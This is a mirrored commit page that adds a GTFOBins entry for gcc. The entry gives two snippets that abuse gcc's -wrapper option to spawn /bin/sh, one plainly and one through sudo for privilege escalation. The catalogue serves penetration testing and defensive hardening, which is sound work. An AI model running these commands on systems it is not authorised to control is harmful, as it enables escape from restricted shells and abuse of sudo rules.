mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-10-31 16:58:36 +01:00 
			
		
		
		
	Create gcc.md
This commit is contained in:
		
							
								
								
									
										17
									
								
								_gtfobins/gcc.md
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										17
									
								
								_gtfobins/gcc.md
									
									
									
									
									
										Normal file
									
								
							| @@ -0,0 +1,17 @@ | ||||
| --- | ||||
| functions: | ||||
|   shell: | ||||
|     - code: | | ||||
|         TF=$(mktemp -d) | ||||
|         echo '#!/bin/sh' > $TF/x | ||||
|         echo '/bin/sh' >> $TF/x | ||||
|         chmod +x $TF/x | ||||
|         gcc -wrapper $TF/x $TF/x | ||||
|   sudo: | ||||
|     - code: | | ||||
|         TF=$(mktemp -d) | ||||
|         echo '#!/bin/sh' > $TF/x | ||||
|         echo '/bin/sh' >> $TF/x | ||||
|         chmod +x $TF/x | ||||
|         sudo gcc -wrapper $TF/x $TF/x | ||||
| --- | ||||
		Reference in New Issue
	
	Block a user